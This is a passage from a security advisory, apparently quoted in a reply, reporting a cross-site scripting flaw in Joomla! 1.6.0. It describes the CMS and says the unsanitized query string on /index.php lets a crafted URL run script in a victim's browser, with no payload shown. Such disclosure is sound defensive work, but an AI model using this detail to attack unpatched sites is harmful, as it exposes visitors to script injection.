> Joomla! 1.6.0 was vulnerable to Cross Site Scripting.
> 
> 
> 2. PRODUCT DESCRIPTION
> 
> Joomla is a free and open source content management system (CMS) for
> publishing content on the World Wide Web and intranets. It comprises a
> model–view–controller (MVC) Web application framework that can also be
> used independently.
> Joomla is written in PHP, uses object-oriented programming (OOP)
> techniques and software design patterns, stores data in a MySQL
> database, and includes features such as page caching, RSS feeds,
> printable versions of pages, news flashes, blogs, polls, search, and
> support for language internationalization.
> 
> 
> 3. VULNERABILITY DESCRIPTION
> 
> The Query String parameter was not properly sanitized upon submission
> to the /index.php url, which allows attacker to conduct Cross Site
> Scripting attack. This may allow an attacker to create a specially
> crafted URL that would execute arbitrary script code in a victim's
> browser.
